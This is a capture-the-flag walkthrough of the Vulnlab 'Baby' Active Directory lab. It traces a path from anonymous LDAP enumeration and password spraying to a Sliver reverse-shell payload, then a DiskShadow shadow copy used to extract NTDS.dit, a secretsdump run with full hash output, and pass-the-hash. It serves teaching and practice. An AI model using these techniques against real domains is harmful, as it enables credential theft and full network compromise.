Baby Walkthrough
Lab Info
Section titled “Lab Info”Lab Name: Baby
Difficulty: Easy
Platform: Vulnlab
Lab Overview
Section titled “Lab Overview”In Baby, we work from anonymous Active Directory enumeration to domain administrator access. The path uses exposed credentials, a password-change requirement, and Backup Operators privileges.
1. Initial Access & Enumeration
Section titled “1. Initial Access & Enumeration”1.1 Network Discovery using RustScan
Section titled “1.1 Network Discovery using RustScan”We start by checking which services are exposed. The results help us identify whether the target is a workstation, server, or Domain Controller.
We use RustScan to find open ports and pass them to Nmap for service enumeration.

From the scan results, several ports immediately stand out:
- 389 (LDAP)
- 445 (SMB)
- 88 (Kerberos)
These services strongly indicate that the target is part of an Active Directory environment, and very likely a Domain Controller.

- Nmap also reveals the domain name and Domain Controller hostname. Many Active Directory attacks depend on name resolution for these hosts.
- To avoid issues later (especially with Kerberos-based tools), the domain information is added to
/etc/hosts.

1.2 SMB Enumeration
Section titled “1.2 SMB Enumeration”We check SMB for anonymous or guest access, a common oversight in Windows environments.

In this case:
- No anonymous access is available
- No guest-accessible shares are exposed
With neither anonymous nor guest SMB access available, we move on to LDAP.
1.3 LDAP Enumeration
Section titled “1.3 LDAP Enumeration”LDAP can expose directory information through anonymous binds, even when SMB access is restricted.
We query the directory using ldapsearch without credentials.


We find a password in the user description:
- Teresa.Bell’s description attribute contains what appears to be the plaintext password used when the account was created in the tenant.
- Administrators sometimes leave temporary passwords in user descriptions. These attributes may be readable by other users or through anonymous LDAP access.
Verify Access:
We test the exposed password before assuming it gives us access.

- Authentication fails for this user.
- We can still try the password against the other domain accounts.
1.4 Password Spraying
Section titled “1.4 Password Spraying”We use awk to clean up the usernames from LDAP enumeration and build a user list.

We spray the password using NetExec (nxc).

No login succeeds, but one account returns a different response:
- STATUS_PASSWORD_MUST_CHANGE
This indicates that the account uses the password we found but requires a password change.
Why this matters
When administrators set or reset passwords, accounts are often marked with:
- User must change password at next logon
This prevents normal authentication but still allows password change operations.
1.5 Abusing the Exposed Credentials
Section titled “1.5 Abusing the Exposed Credentials”We use smbpasswd to change the password on the account that requires a reset.
- I also tried rpcclient and net rpc, but they did not work here because they use a different password-reset protocol.

Verify Access:

- Authentication works! We now have valid domain credentials.
2. BloodHound Analysis
Section titled “2. BloodHound Analysis”2.1 Dumping Active Directory Objects
Section titled “2.1 Dumping Active Directory Objects”We collect Active Directory object relationships with the working credentials and import them into BloodHound.

- This allows visualization of group memberships, privileges, and attack paths that are otherwise difficult to identify manually.
2.2 Finding Attack Paths
Section titled “2.2 Finding Attack Paths”
- BloodHound shows that the user belongs to Remote Management Users, so we can connect using Evil-WinRM.
2.3 Shell as caroline.robinson
Section titled “2.3 Shell as caroline.robinson”We use Evil-WinRM to open an interactive shell.


- We retrieve the user flag from the user’s desktop.
3. Privilege Escalation
Section titled “3. Privilege Escalation”We check the compromised user’s local privileges for an escalation path.

The user is a member of the Backup Operators group.
Why this is dangerous
Backup Operators have:
- SeBackupPrivilege
- SeRestorePrivilege
These allow reading sensitive system files without Administrator access, including:
- Registry hives
- NTDS.dit (Active Directory database)
3.1 Generating a Payload Using Sliver
Section titled “3.1 Generating a Payload Using Sliver”A stable interactive session helps with privilege escalation. A C2 framework also provides session management and post-exploitation capabilities.
I used Sliver to generate and deliver the payload.
- Note: I encountered some issues using Evil-WinRM. Since I have been learning Sliver recently, I used it here to test my understanding. You can use Evil-WinRM instead if it works correctly in your setup.

We generate a stageless Windows payload. It is self-contained, so execution has fewer network dependencies in this lab.
Setting up the listener:
We start a Sliver listener to receive connections from the compromised host before delivering the payload.

Hosting and Delivering the Payload


- We download and execute the stageless payload on the target, which connects back to the Sliver listener.
3.2 Reverse Shell Access
Section titled “3.2 Reverse Shell Access”The payload executes and opens a reverse shell session.

We have an interactive session as Caroline.Robinson and can continue local enumeration.
3.3 Privilege Escalation via SeBackupPrivilege
Section titled “3.3 Privilege Escalation via SeBackupPrivilege”Creating a Shadow Copy of the C: Drive
We use a DiskShadow script to create a live snapshot of the system drive. The script tells DiskShadow to:
- Enable verbose output for visibility
- Store backup metadata
- Create a persistent, client-accessible shadow copy
- Snapshot the
C:volume - Expose the snapshot as a new drive letter (
E:)
DiskShadow Script
set verbose onset metadata C:\Windows\Temp\meta.cabset context clientaccessibleset context persistentbegin backupadd volume C: alias cdrivecreateexpose %cdrive% E:end backup3.4 Executing the DiskShadow Script
Section titled “3.4 Executing the DiskShadow Script”We save the script to a file, such as backup.txt, and run it with DiskShadow:
diskshadow /s backup.txtDiskShadow reads and executes the instructions in the script.

PS C:\Temp> diskshadow /s backup.txtdiskshadow /s backup.txtMicrosoft DiskShadow version 1.0Copyright (C) 2013 Microsoft CorporationOn computer: BABYDC, 1/18/2026 8:50:58 PMset verbose onset metadata C:\Windows\Temp\meta.cabset context clientaccessibleset context persistentbegin backupadd volume C: alias cdrivecreateExcluding writer "Shadow Copy Optimization Writer", because all of its components have been excluded.
* Including writer "Task Scheduler Writer": + Adding component: \TasksStore* Including writer "VSS Metadata Store Writer": + Adding component: \WriterMetadataStore* Including writer "Performance Counters Writer":+ Adding component: \PerformanceCounters* Including writer "System Writer": + Adding component: \System Files + Adding component: \Win32 Services Files* Including writer "DFS Replication service writer": + Adding component: \SYSVOL\8D6E7361-AC28-4EC5-9914-ACB6AE407BCB-2EB58465-8BD4-4748-9135-FE1B23D5A20B * Including writer "Registry Writer": + Adding component: \Registry* Including writer "NTDS": + Adding component: \C:_Windows_NTDS\ntds
* Including writer "ASR Writer": + Adding component: \ASR\ASR + Adding component: \Volumes\Volume{1b77e212-0000-0000-0000-100000000000} + Adding component: \Disks\harddisk0 + Adding component: \BCD\BCD
* Including writer "COM+ REGDB Writer": + Adding component: \COM+ REGDB
* Including writer "WMI Writer": + Adding component: \WMI
Alias cdrive for shadow ID {b18c0626-bcf3-4a8e-9777-28c93eeb38af} set as environment variable.Alias VSS_SHADOW_SET for shadow set ID {61a635bb-c908-4be5-ae81-b6053b48c681} set as environment variable.Inserted file Manifest.xml into .cab file meta.cabInserted file BCDocument.xml into .cab file meta.cabInserted file WM0.xml into .cab file meta.cabInserted file WM1.xml into .cab file meta.cabInserted file WM2.xml into .cab file meta.cabInserted file WM3.xml into .cab file meta.cabInserted file WM4.xml into .cab file meta.cabInserted file WM5.xml into .cab file meta.cabInserted file WM6.xml into .cab file meta.cabInserted file WM7.xml into .cab file meta.cabInserted file WM8.xml into .cab file meta.cabInserted file WM9.xml into .cab file meta.cabInserted file WM10.xml into .cab file meta.cabInserted file DisEDD1.tmp into .cab file meta.cab
Querying all shadow copies with the shadow copy set ID {61a635bb-c908-4be5-ae81-b6053b48c681}
* Shadow copy ID = {b18c0626-bcf3-4a8e-9777-28c93eeb38af} %cdrive% - Shadow copy set: {61a635bb-c908-4be5-ae81-b6053b48c681} %VSS_SHADOW_SET% - Original count of shadow copies = 1 - Original volume name: \\?\Volume{1b77e212-0000-0000-0000-100000000000}\ [C:\] - Creation time: 1/18/2026 8:51:16 PM - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 - Originating machine: BabyDC.baby.vl - Service machine: BabyDC.baby.vl - Not exposed - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5} - Attributes: No_Auto_Release Persistent Differential
Number of shadow copies listed: 1expose %cdrive% E:%cdrive% = {b18c0626-bcf3-4a8e-9777-28c93eeb38af}The shadow copy was successfully exposed as E:\.end backupEND { BACKUP | RESTORE }
BACKUP Ends a full backup operation. RESTORE Ends a restore operation.Note: END BACKUP was not commanded, writers not notified BackupComplete.DiskShadow is exiting.3.5 Extracting NTDS.dit and Registry Hives
Section titled “3.5 Extracting NTDS.dit and Registry Hives”With the shadow copy mounted, we copy:
NTDS.ditSYSTEMregistry hive

These files contain all Active Directory credentials!!
3.6 Dumping Domain Credentials
Section titled “3.6 Dumping Domain Credentials”We process the extracted files using Impacket’s secretsdump.
igris@pentest ~/Labs/on-prem/vulnlab/babyimpacket-secretsdump -ntds ntds.dit -system system.hive -hashes lmhash:nthash LOCALImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Searching for pekList, be patient[*] PEK # 0 found and decrypted: 41d56bf9b458d01951f592ee4ba00ea6[*] Reading and decrypting hashes from ntds.ditAdministrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::::1000:aad3b435b51404eeaad3b435b51404ee:74bbd9eed8485881e099595917fbd3d7:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6da4842e8c24b99ad21a92d620893884:::baby.vl\Jacqueline.Barnett:1104:aad3b435b51404eeaad3b435b51404ee:20b8853f7aa61297bfbc5ed2ab34aed8:::baby.vl\Ashley.Webb:1105:aad3b435b51404eeaad3b435b51404ee:02e8841e1a2c6c0fa1f0becac4161f89:::baby.vl\Hugh.George:1106:aad3b435b51404eeaad3b435b51404ee:f0082574cc663783afdbc8f35b6da3a1:::baby.vl\Leonard.Dyer:1107:aad3b435b51404eeaad3b435b51404ee:b3b2f9c6640566d13bf25ac448f560d2:::baby.vl\Ian.Walker:1108:aad3b435b51404eeaad3b435b51404ee:0e440fd30bebc2c524eaaed6b17bcd5c:::baby.vl\Connor.Wilkinson:1110:aad3b435b51404eeaad3b435b51404ee:e125345993f6258861fb184f1a8522c9:::baby.vl\Joseph.Hughes:1112:aad3b435b51404eeaad3b435b51404ee:31f12d52063773769e2ea5723e78f17f:::baby.vl\Kerry.Wilson:1113:aad3b435b51404eeaad3b435b51404ee:181154d0dbea8cc061731803e601d1e4:::baby.vl\Teresa.Bell:1114:aad3b435b51404eeaad3b435b51404ee:7735283d187b758f45c0565e22dc20d8:::baby.vl\Caroline.Robinson:1115:aad3b435b51404eeaad3b435b51404ee:8b57d5a8232b256ad6b3c5ef804efaca:::[*] Kerberos keys from ntds.ditAdministrator:aes256-cts-hmac-sha1-96:ad08cbabedff5acb70049bef721524a23375708cadefcb788704ba00926944f4Administrator:aes128-cts-hmac-sha1-96:ac7aa518b36d5ea26de83c8d6aa6714dAdministrator:des-cbc-md5:d38cb994ae806b97:aes256-cts-hmac-sha1-96:77d24dddf60cc664e522d0e12685268423c286f6d811c32a3da82ef6ca14de78:aes128-cts-hmac-sha1-96:d0020f4ea57475c9be541c4440e4ef8a:des-cbc-md5:6d52dc26dc43b58ckrbtgt:aes256-cts-hmac-sha1-96:9c578fe1635da9e96eb60ad29e4e4ad90fdd471ea4dff40c0c4fce290a313d97krbtgt:aes128-cts-hmac-sha1-96:1541c9f79887b4305064ddae9ba09e14krbtgt:des-cbc-md5:d57383f1b3130de5baby.vl\Jacqueline.Barnett:aes256-cts-hmac-sha1-96:851185add791f50bcdc027e0a0385eadaa68ac1ca127180a7183432f8260e084baby.vl\Jacqueline.Barnett:aes128-cts-hmac-sha1-96:3abb8a49cf283f5b443acb239fd6f032baby.vl\Jacqueline.Barnett:des-cbc-md5:01df1349548a206bbaby.vl\Ashley.Webb:aes256-cts-hmac-sha1-96:fc119502b9384a8aa6aff3ad659aa63bab9ebb37b87564303035357d10fa1039baby.vl\Ashley.Webb:aes128-cts-hmac-sha1-96:81f5f99fd72fadd005a218b96bf17528baby.vl\Ashley.Webb:des-cbc-md5:9267976186c1320ebaby.vl\Hugh.George:aes256-cts-hmac-sha1-96:0ea359386edf3512d71d3a3a2797a75db3168d8002a6929fd242eb7503f54258baby.vl\Hugh.George:aes128-cts-hmac-sha1-96:50b966bdf7c919bfe8e85324424833dcbaby.vl\Hugh.George:des-cbc-md5:296bec86fd323b3ebaby.vl\Leonard.Dyer:aes256-cts-hmac-sha1-96:6d8fd945f9514fe7a8bbb11da8129a6e031fb504aa82ba1e053b6f51b70fddddbaby.vl\Leonard.Dyer:aes128-cts-hmac-sha1-96:35fd9954c003efb73ded2fde9fc00d5ababy.vl\Leonard.Dyer:des-cbc-md5:022313dce9a252c7baby.vl\Ian.Walker:aes256-cts-hmac-sha1-96:54affe14ed4e79d9c2ba61713ef437c458f1f517794663543097ff1c2ae8a784baby.vl\Ian.Walker:aes128-cts-hmac-sha1-96:78dbf35d77f29de5b7505ee88aef23dfbaby.vl\Ian.Walker:des-cbc-md5:bcb094c2012f914cbaby.vl\Connor.Wilkinson:aes256-cts-hmac-sha1-96:55b0af76098dfe3731550e04baf1f7cb5b6da00de24c3f0908f4b2a2ea44475ebaby.vl\Connor.Wilkinson:aes128-cts-hmac-sha1-96:9d4af8203b2f9e3ecf64c1cbbcf8616bbaby.vl\Connor.Wilkinson:des-cbc-md5:fda762e362ab7ad3baby.vl\Joseph.Hughes:aes256-cts-hmac-sha1-96:2e5f25b14f3439bfc901d37f6c9e4dba4b5aca8b7d944957651655477d440d41baby.vl\Joseph.Hughes:aes128-cts-hmac-sha1-96:39fa92e8012f1b3f7be63c7ca9fd6723baby.vl\Joseph.Hughes:des-cbc-md5:02f1cd9e52e0f245baby.vl\Kerry.Wilson:aes256-cts-hmac-sha1-96:db5f7da80e369ee269cd5b0dbaea74bf7f7c4dfb3673039e9e119bd5518ea0fbbaby.vl\Kerry.Wilson:aes128-cts-hmac-sha1-96:aebbe6f21c76460feeebea188affbe01baby.vl\Kerry.Wilson:des-cbc-md5:1f191c8c49ce07febaby.vl\Teresa.Bell:aes256-cts-hmac-sha1-96:8bb9cf1637d547b31993d9b0391aa9f771633c8f2ed8dd7a71f2ee5b5c58fc84baby.vl\Teresa.Bell:aes128-cts-hmac-sha1-96:99bf021e937e1291cc0b6e4d01d96c66baby.vl\Teresa.Bell:des-cbc-md5:4cbcdc3de6b50ee9baby.vl\Caroline.Robinson:aes256-cts-hmac-sha1-96:10f1fafbf5092796f429c138cc3c3fa48bf788cc7b5f386a521c5422af691c58baby.vl\Caroline.Robinson:aes128-cts-hmac-sha1-96:266e07089e8a7a594b7e2c997d629cf9baby.vl\Caroline.Robinson:des-cbc-md5:e601ad492f3e979b[*] Cleaning up...The output reveals:
- NTLM hashes for all domain users
- Kerberos keys
- The Domain Administrator NTLM hash
3.7 Shell as Domain Administrator Access
Section titled “3.7 Shell as Domain Administrator Access”We authenticate via Pass-the-Hash with the recovered Administrator hash.

Authentication works, giving us Domain Administrator access.
We retrieve and submit the root flag.
4. Attack Summary
Section titled “4. Attack Summary”- Initial access was achieved through anonymous LDAP enumeration, which exposed plaintext credentials in the
descriptionfield for the user Teresa.Bell. - The exposed password matched an account that required a password change. Knowing its current password let us use smbpasswd to set a new one; the password-change requirement alone was not an authorization bypass.
- Valid credentials were obtained for Caroline.Robinson, who was a member of the Backup Operators group.
- Backup access let us retrieve NTDS.dit and the SYSTEM registry hive from the Domain Controller. NTDS.dit is the directory database, not a registry hive.
- Domain hashes were dumped using secretsdump, and a Pass-the-Hash attack was performed to authenticate as Administrator, resulting in full domain compromise and retrieval of the root flag.